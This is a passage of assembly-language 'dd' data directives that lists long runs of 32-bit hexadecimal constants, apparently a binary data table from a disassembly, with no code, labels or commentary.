dd 24A581E6h, 8966C3D8h, 2AA1EF38h, 6388A20Ah, 971082Fh
dd 1920C154h, 0FCA6E9C6h, 2EB83148h, 1213A28h, 9055203Eh
dd 0BC9D7844h, 913AA04h, 48D82235h, 67860214h, 100DF703h
dd 31423D10h, 1037C951h, 8C0AC701h, 20979908h, 312092F5h
dd 0C0109816h, 94780124h, 8110E903h, 9510EB52h, 0DCB12A1Fh
dd 0F6993E66h, 29A76361h, 826BB7Bh, 1B8C1CE0h, 66912031h
dd 71970816h, 0C8C8E932h, 0CC4A4FEh, 49BFA892h, 0B051AEDCh
dd 8882343h, 0AC0F2720h, 0C8CC89A5h, 17C8715Ch, 7D26168h
dd 814C8AA4h, 80D01840h, 0B5CC9A10h, 20562EEh, 3FAD0316h
dd 0FCC82241h, 8B006765h, 0A6A40907h, 0F6430Eh, 8ED8DFCh
dd 69579068h, 0C0593AF1h, 11E0243Eh, 3C55012Bh, 4030727Dh
dd 441FD496h, 70045A01h, 2F9D2A88h, 6AFB3080h, 0BDEFD4BFh
dd 0FC894E06h, 11C322h, 50C1419Bh, 0CBCAE78Dh, 7F02A7FEh
dd 0ABB66865h, 5154E049h, 0DF543C04h, 5F3C5E1Eh, 8293F806h
dd 0CC8CB43Dh, 7800784Eh, 0EDDC5A43h, 62E70787h, 0C048CF7Eh
dd 0F1B17359h, 0A0646841h, 80B8BC3Bh, 4CE9247Bh, 475BE3A4h
dd 62C83091h, 7029BC4h, 48808EFh, 0C57747AFh, 8E3C0D43h
dd 9481F668h, 478F9E2Ah, 75D7D0C8h, 0E3F66BC6h, 5DA3B400h
dd 54F2419Ch, 0A07A079Fh, 8090707Dh, 94D54207h, 5014E99Ch
dd 62D30BC8h, 0F02C5835h, 4F2F18FEh, 77377045h, 0AADD4004h
dd 0EAA2CBh, 0C23F9E0Ch, 0D3E3107h, 0C0B414D0h, 5FE401A0h
dd 0E506BADCh, 0E10EF438h, 0C6206F7Ah, 0BD09693Dh, 2040A30Eh
dd 68083EDh, 5150001Fh, 0CF9546C9h, 1574D6D3h, 40C785E4h
dd 0D1B06882h, 267A83h, 0AB536F11h, 0B2618FCEh, 3B21BB00h
dd 49FC50CAh, 42FE03E2h, 48C44CF3h, 0D1DEC3AFh, 86E5983Ch
dd 78FCCBA3h, 86520670h, 0F0101164h, 0ACCC3C00h, 0CE463E0Ch
dd 12B2B0A3h, 801A5430h, 838828E0h, 9E2D6600h, 0E5E9D37h
dd 0DB3900C9h, 0E4D55743h, 0FF03E210h, 3CF19071h, 0CAC5C0E3h
dd 59200037h, 0ECBE5266h, 0DD096AFFh, 2A497E2Fh, 0E8275850h
dd 18A41C68h, 0A06B62CBh, 85078EAAh, 59D09E09h, 10880DF4h
dd 0E4634B82h, 5706E680h, 0BECBDBE7h, 2B4C03E9h, 0A1F9E57Eh
dd 2767488h, 7142090h, 3CF4C26Ah, 0CEC389D2h, 0FB441087h
dd 944A023h, 40A41515h, 2A823C9Dh, 89033884h, 22BBECh
dd 823E9D18h, 71233951h, 206D90Ch, 4068ADh, 1FC4A31Bh
dd 6EE0FF37h, 3CB0F0Ch, 3084E042h, 0CA587B01h, 9C480993h
dd 0D4905Ch, 45B7AA25h, 603106F4h, 62DA50D6h, 0D8A0AE04h
dd 48058768h, 0B654B37Dh, 9341EC04h, 0A8B17601h, 0B08824E1h
dd 9B3E6700h, 0FC72C2B6h, 0A380027h, 2B8B6F97h, 0A67D4CD6h
dd 98A09CA2h, 0CEB11B1Fh, 8BCF1303h, 0F8630843h, 3C477FCh
dd 7069C4Ah, 0B9068871h, 0B833CB5Ah, 56700040h, 30B008B7h
dd 510A5F2Ah, 905CCF03h, 7F0EB421h, 9F6F411Eh, 8C3CE1CBh
dd 7D84CD3Eh, 90234FCCh, 57A42404h, 48F7030Fh, 6142E363h
dd 0F990906Dh, 0CA48DE4Ch, 840A40h, 0D8F6E6BAh, 0DF4C2891h
dd 2E87107h, 770C104Ch, 9AFD8A40h, 55E5208Ch, 946F803Dh
dd 7ACDD61h, 94A56B82h, 0E315AFB0h, 180D6FC2h, 753962E3h
dd 0EF246800h, 0EA21CD4Ah, 0FDBE03C1h, 0D29CFBCEh, 0CA6201A1h
dd 411FEC76h, 18788514h, 4971E463h, 62B80751h, 89024272h
dd 0DC4C9607h, 3248D2B2h, 98909268h, 4975C92h, 0E769CBADh
dd 7238D07Fh, 161FDA0Ch, 9870DF63h, 3130210Dh, 0FBE8B570h
dd 77642222h, 0C8C47479h, 8092AD90h, 78DC02B3h, 53A70F0h
dd 26AC4DA0h, 911FC4E1h, 84A0E714h, 0A307A71Eh, 66C81072h
dd 560F3475h, 61763AFh, 1211743Eh, 2B50CBAh, 800A8444h
dd 0E92FD900h, 778A0451h, 0EBE50724h, 37D39C07h, 0E7A899F0h
dd 972124CBh, 229D135Ch, 0E4A7E0F8h, 0AA03AF90h, 10092D12h
dd 0C0E8649Fh, 251C7DA8h, 64D08D30h, 0A058CE34h, 48E44CCCh
dd 0CC81DC01h, 7F7008B3h, 62274041h, 0A040C4A0h, 2689E356h
dd 0A6906104h, 0CEDBC044h, 0A4F00B59h, 0E59A6118h, 4868EA4Ch
dd 899F5C79h, 0A01BB9A1h, 0E08278E2h, 0A88EE440h, 8450A981h
dd 9E8C2009h, 30CB6044h, 0A838DAB3h, 0CC187B92h, 0A310FF5Ch
dd 963F2430h, 0AD4E405Ch, 68121802h, 0EC24CDABh, 2136D003h
dd 0EFDCB954h, 7B3BEC41h, 0BB193C22h, 0DC5DE0B4h, 20C00C7Ch
dd 28247437h, 1CD0E04Ch, 0C143C90Ah, 0CB9C3B9Eh, 0E80C6587h
dd 3E3E5188h, 4184C906h, 0CAC08D8h, 0CCE11103h, 9CEF7CBh
dd 4F486FB0h, 0E8B7C00h, 0D6003E16h, 0B44CCFFAh, 4D834032h
dd 0CA28BC9Ch, 170718C0h, 812A1098h, 791EB0B2h, 3A0967B8h
dd 0C2C8A01Bh, 1F2411A6h, 14870B64h, 7A0B9C7Ch, 0B88075D6h
dd 2E86B36Ch, 312A54FEh, 793B8C2Fh, 0DFA502FDh, 9020AA5Ch
dd 8061E2BCh, 0F071C2FAh, 0CEE51E01h, 5565FB86h, 75D4588Ch
dd 0C90070A1h, 0F4D07E64h, 4D2ECC7Ch, 0BC014C0Eh, 6E0358A3h
dd 0ADC089EEh, 0D84C0104h, 0FC26C902h, 0AD4EFE64h, 2CB424BCh
dd 91B002E7h, 3C62E63Fh, 4C7C412Ah, 216F08E4h, 0D054C945h
dd 4342DD90h, 69EAEC00h, 9C089590h, 5E573030h, 0F27DE0D0h
dd 67FA1109h, 2A54A04Bh, 28EB8946h, 3E865D6h, 68CD59E6h
dd 7C8712B2h, 0D205B129h, 0D1CA3DD0h, 729C00BAh, 772C9ADFh
dd 94983013h, 496A2840h, 10B27409h, 0A17D06h, 9A08BBCAh
dd 0A6326330h, 7D9003E0h, 0A9DB8409h, 96C294Ch, 98FA26E7h
dd 5886CD4Ch, 0E058DC7Dh, 0C702D680h, 0D913419Bh, 9402F8FEh
dd 9448D855h, 1FE7208Ch, 0B323D63Bh, 6E84Ah, 1B8B0B21h
dd 0B4467DFEh, 85E6E901h, 14E8CA7Ch, 40912C70h, 0C8F5876Fh
dd 302E8F96h, 0AABC44B4h, 0A3EE34E3h, 22189898h, 6010633Bh
dd 0E048FFE3h, 1F3607D6h, 0BFE269D2h, 8599D91Bh, 0E5F89C15h
dd 2A04D824h, 5302ADFEh
dd 0D45C6ACBh, 47D09C00h, 24300DEAh, 0A45CBCA1h, 955285C8h
dd 1568C087h, 0ED58B124h, 83E44C58h, 81602Ah, 0CD27130h
dd 0CEC17856h, 4A45F500h, 0C962C24Dh, 0F609426h, 3F09D753h
dd 47268478h, 0CB0948E5h, 3B58A178h, 48DAA3AEh, 81384A44h
dd 0FA808A8Ah, 4B43D828h, 0EE24D0EFh, 0ED89174Ch, 0CC7C54AAh
dd 0FC62BE00h, 37E988B7h, 0AC0C0A50h, 1B147A1Bh, 224CE230h
dd 5DE04BF7h, 0D3170307h, 0A5183075h, 13EBCAD0h, 3539C7EDh
dd 83BC98E0h, 0CB28EF60h, 3DFB1937h, 6189E455h, 0B0D83662h
dd 7EF31E03h, 0C2E366AAh, 516CC20Ch, 0FB8BBC54h, 0B4C1B32Fh
dd 0E69889D6h, 0E55C1A78h, 90C81A34h, 40F8D261h, 0BA6BABECh
dd 536388C3h, 5B783B3Fh, 4026F197h, 0CA013B24h, 0EB03E534h
dd 98D8E20h, 0CC9ECCFh, 9878C5C4h, 0D6CC0060h, 0FD0BD8ECh
dd 0CB6040C7h, 3151ED11h, 68AE6099h, 0E75F91DEh, 4E28FC02h
dd 0E837262Ah, 0FC5827A4h, 3FCB10D9h, 0F48B0317h, 938FEDD5h
dd 503902DBh, 40C82CEBh, 84CAC99h, 24E490B8h, 3004BE3Fh
dd 46115D39h, 0B4D1CB26h, 61EA6000h, 785595D5h, 6E7000C9h
dd 59A2FD42h, 0CE65C603h, 30023CF9h, 21471257h, 0B8E7982Ah
dd 33C217C8h, 0E402B41Fh, 6EE3D557h, 28E66578h, 0DFC80501h
dd 90F888AAh, 0EB005341h, 1C453947h, 39E8E7EAh, 45F01F4Bh
dd 0CC2DFA29h, 0D640D37Ch, 90EDF4D4h, 187F6281h, 2F0B147Eh
dd 5DE30978h, 0D3D2A801h, 0A4B0705Ch, 78ABA902h, 0CAF4664h
dd 1C60B97Eh, 0EC34D838h, 6D620635h, 78DDF60Bh, 0AE4A9E03h
dd 0C25C4F12h, 55088075h, 9BAA3B6h, 4D1330A0h, 87D2E8A4h
dd 1031A67Ch, 50CD4000h, 6803F83h, 90736038h, 0E7089BD1h
dd 4C62250Bh, 0F9102530h, 481FC3F8h, 7D61CC13h, 0AA32CCA0h
dd 5C2CE1A6h, 0FAE0000Ch, 12F0A4C7h, 9914558h, 3E2F24Ch
dd 6D4EF4h, 7829E438h, 307031C3h, 907A7430h, 543B639h
dd 0B1CBA6EFh, 83A81F10h, 87BD31D7h, 1040ABDAh, 0BE1FBFAEh
dd 885430A4h, 0E7AF00DCh, 0B4801E86h, 88B8960Eh, 0E501DFFDh
dd 8F2FAD9Ah, 90F0B421h, 0AE18C7C0h, 588B79D1h, 51AB4481h
dd 87143C57h, 0ECBA5FCAh, 5E309D40h, 0E820C24Bh, 80A19549h
dd 72798A42h, 145407C0h, 98105316h, 0A802CF30h, 59082A28h
dd 2D006CE2h, 5865490Ch, 0F101520Bh, 0FAA80F02h, 0A5CD7E7Dh
dd 5816DF60h, 108BF4FBh, 3EA05410h, 0C4170901h, 42716350h
dd 3149D050h, 76777Ch, 0CE3E69D0h, 0F6B835EEh, 0A162B10Ch
dd 0BD41B047h, 10C67C42h, 62C87200h, 0E5F978D8h, 0DAFB0063h
dd 9F66AE35h, 7C90248Bh, 81E3C63Fh, 9E4FC71Fh, 49E20630h
dd 203A098h, 5DD083Ah, 0BF9E6BEh, 1C31A8D1h, 3FD4E801h
dd 81EC780Fh, 0DD8662E7h, 193FB060h, 0E8C49D06h, 369CC43h
dd 1001A730h, 9121CCDBh, 0D20BCACh, 1D39B239h, 0CA04B81Bh
dd 50B0AD46h, 18042DDDh, 0F581030h, 7DDC9A01h, 5455F9D6h
dd 0C5E4E2ECh, 9CD0FC48h, 5381BBBCh, 4B2A3474h, 0CEC8C0F2h
dd 845136CBh, 65428F4h, 25E80640h, 3076F328h, 0ECDF840Bh
dd 98340A1h, 14483314h, 1928A390h, 44B8CC97h, 13CC12Eh
dd 696052ABh, 0B89C4723h, 605ACBF8h, 860B8037h, 9D00AB28h
dd 0AF29FAAAh, 0B4486E17h, 55CB0680h, 1B00283Fh, 0D1C2F9EFh
dd 0EC5D9CD4h, 0D2780F5Eh, 0A0DBEA06h, 3E34C7EDh, 0FFE57BA3h
dd 6C27FF0h, 20A8EB30h, 74576EAh, 0CCAC8D3Bh, 43FE473Eh
dd 0B0BF964Eh, 174D4B3Dh, 928FCF00h, 88CDEFACh, 7316308Ah
dd 0AF9AF8A9h, 7C6E2A00h, 34D676D0h, 0A8901FF1h, 0DDF3C0BFh
dd 0A493BCAh, 0E3E810Eh, 3568228h, 0AB0848F9h, 8BB42D3Ch
dd 57FDDC10h, 0E7BE0604h, 28978FAFh, 0E0471398h, 0CE00A2E8h
dd 75FEB685h, 4D9B6320h, 102C38B7h, 706F3Ch, 2FB9A41Eh
dd 3B53DBE6h, 78E0419Ch, 3865D003h, 0CB1852F8h, 9BD08F75h
dd 0A5500040h, 637EE1D9h, 9574E837h, 79B42407h, 835B2DB8h
dd 0B8E29B4h, 0B9C66130h, 6EFBC0A0h, 0CA262226h, 0E025B4B0h
dd 7FCE000h, 0D2FD886Fh, 0FC057515h, 0CB106228h, 2714F603h
dd 0F457C804h, 0A8070C90h, 2B8B55DDh, 0ABCC816Bh, 1907AC88h
dd 5DCABC00h, 3E6128CBh, 0EA0F8488h, 98B34824h, 0FA2A12ECh
dd 0F2888826h, 48B27E2Eh, 0CE72AA10h, 0F0D70728h, 70352274h
dd 4812091h, 62F1088h, 58064A6Ch, 16F80438h, 1A00DC9Ch
dd 3FD4AC5Bh, 0CCF309CEh, 0FC8E5136h, 0E212B9C8h, 0A4011B09h
dd 0E4ACE188h, 78A4D72Ah, 0C31826D2h, 4294A678h, 98A8D9BDh
dd 0FC9C15F5h, 45208720h, 914D13B1h, 0EA8487BBh, 0C90F1298h
dd 8808E478h, 89B8DE5Ch, 7D7C20A5h, 264D47E2h, 623427FBh
dd 82000F36h, 531893Fh, 0EACC7E78h, 4BA80369h, 98C183F3h
dd 8B108176h, 41186258h, 0CE8F6028h, 3EC86F42h, 4D164464h
dd 308921BAh, 5913EC30h, 1448B87Ch, 47DB0716h, 6037D2C0h
dd 0B799115Ah, 0A21F7A00h, 38DACC55h, 0EE8F00BEh, 30197D50h
dd 4C94F2F3h, 0D04BEC1Dh, 0B0BC8B61h, 0AD19DA0h, 0FCFBCA4Ch
dd 0E8130090h, 4FD56C9Eh, 0F95A4205h, 0D6846256h, 8B5CA400h
dd 11ACD5Bh, 4054BCAAh, 60E1F6CEh, 0A20CC591h, 0A98706D4h
dd 0CBD509D6h, 0F8206DA9h, 0D2E545F4h, 6AFA0107h, 824BDE33h
dd 0F26F4AD4h, 575A0730h, 0BCE48885h, 1F3F170Ah, 18C850h
dd 0A2676E4Dh, 0ED97278h, 0AAAD429Ch, 0D5FB0A80h, 6904CE87h
dd 0F5A906B5h, 131238F0h, 0B424E740h, 55061894h, 0A97B4BDAh
dd 0A4F0F810h, 5BD8090Ch, 0AC603703h, 53B0D2FCh, 6D582E7Bh
dd 0CB510469h, 0F890A201h, 0E2EA93B1h, 23540E80h, 0CA204B07h
dd 3625FFCh, 0A414455Ah, 0CBD00520h, 44B0F9D2h, 0BB6600C8h
dd 3DDF858h, 3A02E404h, 47B25DCBh, 6338C1E8h, 4080AC31h
dd 6FF0FC69h, 2F14FBB0h, 3E8A6AEh, 9BA33FE8h, 0B199A087h
dd 0B540936h, 600B0515h, 0FD102065h, 98BCC04h, 0C58084E9h
dd 160201D8h, 82FADD4Eh, 37DFDC38h, 79CC8078h, 2E2EA999h
dd 1808E8F8h, 9A63C8E9h, 5CC8879Dh, 0F0DA4432h, 0EBC30224h
dd 0DBA49F85h, 242CFA41h, 0EC7E6E90h, 7D6C3Ah, 0D97EDDF6h
dd 2ED5573Bh, 1DC240Bh, 0D6C1339Fh, 0BBEFE44Ah, 0C12D0E8h
dd 88F87A63h, 2009412Fh, 52D7B820h, 0A19DF50Bh, 8AE06324h
dd 49E29089h, 93E01C8Ah, 2B50049Dh, 1443128Bh, 850C03E4h
dd 0E9DB28B5h, 746CE99Bh, 0CF163849h, 106C86F5h, 8094731h
dd 0C82F38DCh, 0EC48D058h, 0D0B62CF0h, 6205B4A4h, 0F8D182FFh
dd 0E0D30C70h, 78AFC313h, 41F002A8h, 0EAB035Ah, 0BE6A8CA4h
dd 0FCE3A890h, 3887095h, 45784898h, 64D0439Ah, 3A00AC58h
dd 67424E75h, 530B68h, 1DF6F2AFh, 1916C6FBh, 67D6277h
dd 0C64AA2Ch, 209EA42h, 3C59E298h, 0E43F9E8Bh, 49750528h
dd 0C2FEC2C3h, 0DE05DDB0h, 1DFA50E4h, 3B731177h, 622A2E04h
dd 0CE8A0B4h, 0A6E2FC00h, 0F8C36B4Eh, 4D540063h, 82CC03C6h
dd 37056E80h, 72CBCF57h, 6A8318B1h, 0FABE5258h, 0C9B6B08Fh
dd 447A1261h, 0A0C80C5Ch, 4D86DB1h, 309B602Ah, 0CD80F0A4h
dd 0A0165200h, 0D00B8210h, 4E41004Ch, 6F5DDC64h, 0F8A1B58Eh
dd 2ED06499h, 9D02AC7Dh, 0A44E343Fh, 6FC0E0EBh, 0F64704B1h
dd 5499ED83h, 54841688h, 0FC2CAC5Eh, 0F71B1900h, 89302Ch
dd 0EE4B695Eh, 34E40E87h, 3E0D0D0h, 0CD33C946h, 0EAE6E081h
dd 2A50C2A6h, 0B0A14B58h
dd 0E8B5C62Bh, 0CCB0CEADh, 119B0402h, 0E2DA4D81h, 0DC6480h
dd 0CE8F8459h, 0CFDEA84Fh, 10F63C00h, 58FD0F05h, 0ED40378h
dd 1D088431h, 681BBE3h, 0D25C64C5h, 5076227h, 7CC0E440h
dd 0BDB6Dh, 4B5F8F30h, 8BA262C9h, 0CB1854E2h, 11C0AC91h
dd 88ED009Ah, 0E35FFAA7h, 9B18922Ch, 54109178h, 0ADCE0114h
dd 0AA30CD0Ch, 92D0B853h, 0C412516Ah, 83D0380Bh, 1DD72E20h
dd 3E4F8850h, 0BA0FD449h, 45F68906h, 886804C8h, 52243CD4h
dd 0E117D080h, 4B2A1442h, 1AE44866h, 23090BFh, 29D71B77h
dd 0BAC04C08h, 460BEE25h, 219A9163h, 7982AAE4h, 0FC30CB08h
dd 710388E6h, 0AE78C029h, 0D5B6F924h, 8ACCA200h, 9F9BEE30h
dd 324CF2E4h, 8431C02Ch, 0AB00F8F0h, 7328AE6Ch, 1264ADDAh
dd 0D1A11FCBh, 305260C4h, 88E69EF5h, 26A4AA5Dh, 851334A0h
dd 4F63A0D8h, 327CA03Dh, 64C90B01h, 1F5606E8h, 0E63FC24h
dd 0B5C25D8Bh, 7F300EA1h, 0D450967Eh, 89FAAC82h, 0DB084898h
dd 1D1A7FC9h, 96CA9E3h, 1C8371E6h, 0BAE8FB07h, 0A00082E2h
dd 335E85CEh, 2A624DFDh, 2A4C7BFh, 9E29D6F1h, 0CCC1870Bh
dd 5C30E005h, 0B5F20C01h, 62DF5604h, 0B430E4C1h, 4F0B0047h
dd 0C8AA58A6h, 393BD061h, 6D909ACh, 14AC203Dh, 0C097DF01h
dd 9602E460h, 9C0CCFB0h, 0F90D0312h, 74567EEBh, 0C7F027CCh
dd 10E2BC90h, 0E4E1D098h, 0DD027FDFh, 0D383BE3Fh, 802C569Dh
dd 4634A44Ch, 5401743Ch, 2C75B5BCh, 813AB007h, 646CB2E0h
dd 0AC9ED504h, 0A48A0B50h, 893C96C4h, 0FC416E62h, 9E428E6h
dd 187996CBh, 0B02CEBC0h, 8970BE44h, 80851964h, 3DF8CC75h
dd 8FBC6B50h, 0F88E3498h, 0A0A0D5EEh, 18268452h, 0B08804BCh
dd 0E6890219h, 80E8A0E9h, 507C6DF7h, 4C0134Bh, 483F6648h
dd 533D9C40h, 70B09387h, 5A49C073h, 0B4A0F24Bh, 273B40FCh
dd 74D001EEh, 0FE3A0345h, 0BDE068B1h, 9084050Dh, 607F4C40h
dd 0DB7688h, 93AD9E67h, 0A5FB4EDFh, 1DA85207h, 4650AFF6h
dd 4B0342EFh, 923817D2h, 9CC039E4h, 517CAB1Dh, 5640D48h
dd 0FFF48412h, 0BE009CE2h, 0B753DFA3h, 6A007AFBh, 29FFE0AAh
dd 74D0235h, 632208E3h, 0ECA0EC9Ch, 0AF2430FAh, 0D0027898h
dd 0DC4C2BEBh, 0C0A7946Ch, 76515581h, 7C42E29Dh, 200FCDEh
dd 10C3AE48h, 2EF17F71h, 426483CAh, 0C4DE3DCBh, 0EC24C724h
dd 6CC76104h, 80A9C4D7h, 78E3E468h, 4AFB0B2Eh, 0D3802C22h
dd 20AF211Ah, 5306F209h, 0C8C497h, 0EC783B9Eh, 227FDEFBh
dd 3CC97412h, 0E1C8440Bh, 9462E5ACh, 8E766209h, 0C84820CEh
dd 2509057Ch, 0A08440A4h, 0BD427C97h, 338085FEh, 0AB683BC0h
dd 0E025000Bh, 30715A7Ah, 58BE1336h, 0B62E540h, 40494A16h
dd 1E29FB24h, 0AB0518B0h, 71FC884Eh, 26060803h, 0D9A01792h
dd 78D89978h, 0B9D73064h, 0C2F47EABh, 0E0926388h, 0E8396040h
dd 75BD2F17h, 0B004F8ECh, 855ECA67h, 7D74B24Ch, 5200F0B6h
dd 0F45B4AE3h, 31340922h, 98A0AB3Fh, 8D8E6B71h, 5FE68107h
dd 978F2062h, 41C794DCh, 0D9A4246Dh, 8508046Fh, 2CE3F5F8h
dd 0AA5F9871h, 0D3E08420h, 50D400D2h, 25510148h, 0F196B506h
dd 0E1F7DCCEh, 0C8E5DF00h, 4A3E9D55h, 7DE706B0h, 48BC5A64h
dd 0FB8B470Bh, 889B04E0h, 458C7081h, 2475E823h, 0C34449A2h
dd 88DC9274h, 91E21538h, 0DD0F643Fh, 0DDF40588h, 3C80CB3Ah
dd 1FEF14A7h, 0B1D1622Ch, 0C89D3020h, 90A8FB33h, 64010D79h
dd 652F34B9h, 0B271CBDCh, 9A46041h, 0CC35D0h, 0B5B7F2C1h
dd 4EEE93E4h, 0CC648626h, 0DE55030h, 57621602h, 99988CC4h
dd 3FC9B4Dh, 950211F4h, 0CC101709h, 0AA384122h, 826C6288h
dd 0FDE46709h, 0E034417Fh, 0D4D30838h, 71289860h, 79847B09h
dd 9C0098F1h, 9010EEA5h, 4E800017h, 0F9FEFB0Bh, 7B0119F0h
dd 3EC67278h, 3BEB0367h, 91838239h, 5D79C096h, 89FCF5E1h
dd 0D936D618h, 242D08D8h, 0F30C002h, 59C84F9h, 0D0915D85h
dd 3C3CA707h, 512CE001h, 3C0C4F3Ch, 824C8B08h, 601D77D8h
dd 1F40445Ch, 8795A56Fh, 0E08E7F5Ah, 0C14CD670h, 31324BAh
dd 0F00076FAh, 1915DDDEh, 80A40F4Dh, 18F8A306h, 8C0283BDh
dd 287C6D9Dh, 44505E74h, 3388A9D7h, 0D0BF08E3h, 0B6CCE2DDh
dd 8ABC01Ch, 52056684h, 0A58E7B37h, 33B249Ch, 684287C6h
dd 43E00B66h, 495CDB28h, 30B04A18h, 1D0A44Dh, 3F69486Fh
dd 50B48A06h, 44A03EACh, 0E486D401h, 62CFF508h, 924460DAh
dd 7B4F0F8Ch, 0DA1C1D64h, 58421193h, 36DC1401h, 0E1B2D07Dh
dd 5106A70Ch, 1D358C6h, 0F0C11FCEh, 0C8146B37h, 5E092B59h
dd 225D202Ah, 2A1DA98h, 24412664h, 80E30870h, 7BFEFC3Ch
dd 894F0C02h, 0E00E0B51h, 2BD47430h, 8794A346h, 0D01208B3h
dd 0C878F784h, 6F5C3D1Dh, 0DE24080h, 3BF9D52h, 0A561C942h
dd 0BC8BD8Ch, 3934C7FEh, 0F88011A4h, 7598E1DBh, 178E0079h
dd 0D4727B8Dh, 1C24AC3Ah, 55132C37h, 0DD7A7442h, 4B28CE78h
dd 88E00CAFh, 61284C0h, 4016686h, 49E3D5E5h, 3FF4213Bh
dd 90F11467h, 8781B042h, 0EF8A88h, 0C7EEEBCAh, 8870913Ah
dd 0B011FBAh, 0D0B6248Bh, 0D753AE4h, 77442A87h, 53BC0098h
dd 0E100490Ch, 3C9F4A14h, 0A068B8A5h, 80B22CFCh, 0BB4ABDABh
dd 0AC024816h, 0C6E35CCAh, 0CFDC0044h, 0D0BEF23Ch, 8100116Bh
dd 0B7D4309Fh, 33035B40h, 4248E117h, 0B56069BAh, 60010918h
dd 75D6AC78h, 91809030h, 3D6529ABh, 9F24CA39h, 0FA019C36h
dd 5AE46260h, 8FECD880h, 877E38EDh, 0ADE54F05h, 54D46706h
dd 97CFC8B0h, 29FD4090h, 0E8B84E24h, 64EB1084h, 2585ACB2h
dd 31BC036Dh, 0E840F1FFh, 0D2002AC0h, 0C9751BA2h, 0BF9B535Fh
dd 0A8C03C00h, 7100B9DEh, 0AA3A38DAh, 248A12h, 743B4C2Dh
dd 7E628289h, 0D0315000h, 0CB88FCE3h, 0D8CC0FE1h, 9FEF5632h
dd 305CCC3Dh, 0DB00A1E0h, 44D64635h, 7A01E313h, 73E20021h
dd 9C695F88h, 0DA001A41h, 0D470F0A0h, 0C0C7D506h, 0EC5CCBC8h
dd 8096DDF5h, 78172A09h, 34FB4A98h, 4A64E258h, 0CED9A0C0h
dd 343534CBh, 45B8A080h, 0D7DD9C1Fh, 874B1CE8h, 0F8CC104Ch
dd 0A2AB0070h, 0DDDAA9DCh, 8200BD25h, 0AC5463DFh, 0C070CBD8h
dd 6490E351h, 58BAAE7Eh, 0A5D1ED04h, 0C88081D2h, 45D9798h
dd 0FCE215ABh, 1E3CF9A1h, 1CC2DC1Eh, 74F885CBh, 77BC03A8h
dd 7CAAFAF1h, 58D090E0h, 0D4FFCB18h, 4B898B20h, 9FC2106h
dd 3E28611Dh, 204E6872h, 0B3A40E3Dh, 0AC27F8B0h, 0A8AC6810h
dd 7D75B0ABh, 106CE703h, 1AE93C00h, 94CB5ED2h, 6170EC60h
dd 9079DD8Eh, 24F0E554h, 0C99CBEF2h, 3EA27000h, 4F00EABEh
dd 63A8439Ah, 28A485AEh, 0F47277h, 6DA03C1Ch, 472FFAB3h
dd 7DA81260h, 35307663h, 1101707h, 0B9CA0E40h, 4F587073h
dd 0ACBC087Ch, 3E0D4580h, 0FADAFFh, 0BCECAE26h, 7A2E0704h
dd 1732C0C0h, 1FBD2AB8h, 0A81FCBDBh, 4DBF7A80h, 8CD48457h
dd 5977D650h, 0A8458092h, 24009428h, 0B0F0EBA4h, 9A9F400Fh
dd 29B018A4h, 0B1AE00C3h, 0F9F04EF2h, 11C0BF71h, 0CBC9D972h
dd 44BE20h, 52584870h, 8201BB16h, 5002880Bh, 0CC2C7841h
dd 0A1850313h, 0C3D34498h, 0D3B9321Ch, 12421B8h, 201BE68Fh
dd 0ECBE3C5Ch, 2BAE7580h, 13EBCDA8h, 0E0C83021h, 3B4BCB84h
dd 6784AC21h, 5476AC02h, 73CBD385h, 12A588D0h, 0B6602407h
dd 9E088058h, 0D1412AE7h
dd 668D20Fh, 0F27DA58Fh, 84551480h, 30C14BB0h, 0D270F850h
dd 28EF0B1Fh, 0FCB01C12h, 0D498B576h, 2F18FC65h, 0D6105C61h
dd 0DC0403D3h, 7BA2550h, 0FC0F67F8h, 4DAFA302h, 62917702h
dd 1C98CC74h, 0C01CFC0Bh, 75AADB4Bh, 6800C86Fh, 0D8E2A8ABh
dd 4EE356EBh, 4CF49002h, 91B5184Fh, 90A55828h, 0CC192CE7h
dd 7EE607C8h, 0C402844Ch, 4600C88Ah, 22AFA096h, 0F0A8DE98h
dd 90BD2510h, 77629C10h, 0C421944Bh, 5C245881h, 41680018h
dd 78610E9Ch, 4E06713Ch, 9EB10414h, 6AB3B30h, 0AF40825Bh
dd 4CF48EC0h, 8A68B019h, 213E401Ch, 3B9132F8h, 40443822h
dd 0BEB1CBECh, 8182EBCh, 0E03A2978h, 3529048h, 38BE5D89h
dd 7352F02h, 0AC748E16h, 2C90DDBFh, 660C54C8h, 0B2066E69h
dd 3CC5B80h, 0C44C6310h, 8F20E9B4h, 0A09F0C2Ah, 50039DFDh
dd 1115BC0Dh, 4B08822h, 4A82B170h, 0B73EC4CCh, 0CBCDD0C8h
dd 6C6C6924h, 0CCC1BB00h, 24F1BD39h, 7441D2h, 0B5EEE491h
dd 540123FFh, 0C5E6482h, 24CC7588h, 42622DE0h, 0CE3FF481h
dd 825C78F4h, 8148DB66h, 50314F84h, 0D820073Fh, 0CA0E6925h
dd 4AB7BC36h, 0AE288C04h, 76CEA300h, 0E2003E48h, 15865449h
dd 4AADAA45h, 0D784CCE1h, 0D5016900h, 45845650h, 183FE4B8h
dd 68702B31h, 680977FAh, 342AF08h, 0CFBA3960h, 0F7976380h
dd 46802701h, 90D8C862h, 6A6006F8h, 0B9F83CC8h, 4B6D00FBh
dd 0FEE48330h, 280079B5h, 646AC935h, 2D9A86D2h, 90C02563h
dd 4CB8D0A1h, 0FD7B9096h, 0D0E40CC4h, 5483093Eh, 849064F2h
dd 0BE010384h, 0CCE05B88h, 0F8681ECBh, 3D497300h, 4730744Dh
dd 0C9F4E195h, 1DC3EC60h, 4366B8F7h, 0CF7FCB5Fh, 21B43051h
dd 8C28A968h, 19B88027h, 146A9E7Ah, 0A48F6F2Ah, 0E562D2C2h
dd 0B10020D0h, 0B8C44DC1h, 954E30C8h, 9935A880h, 3D056A8Eh
dd 0FE2FF262h, 31E898B0h, 57696317h, 8D2DC4E7h, 91C5981Ah
dd 80D010h, 0CC305B82h, 0CF0E7D5Fh, 0F89E2D31h, 0B2FAD2Ah
dd 0FC19D82Ch, 3B2030E3h, 376DEE0Fh, 1944E655h, 0A2463930h
dd 0DF81B51Dh, 3C41A52Ch, 0B89F604Ah, 34D748h, 0F94326E5h
dd 2FC9A7CBh, 0C08BA3Ah, 0B18946F0h, 0E0F10D00h, 96B753DDh
dd 5EC9E79h, 0A7CDC62h, 279CB284h, 7AAD2801h, 841E3B69h
dd 0E268E4BDh, 0C0F0C084h, 9ECA302Ah, 571FCFC8h, 0AEDD7A0Fh
dd 0E8628346h, 6870006Ch, 0F36B0226h, 0C600EECEh, 7B0BFDFBh
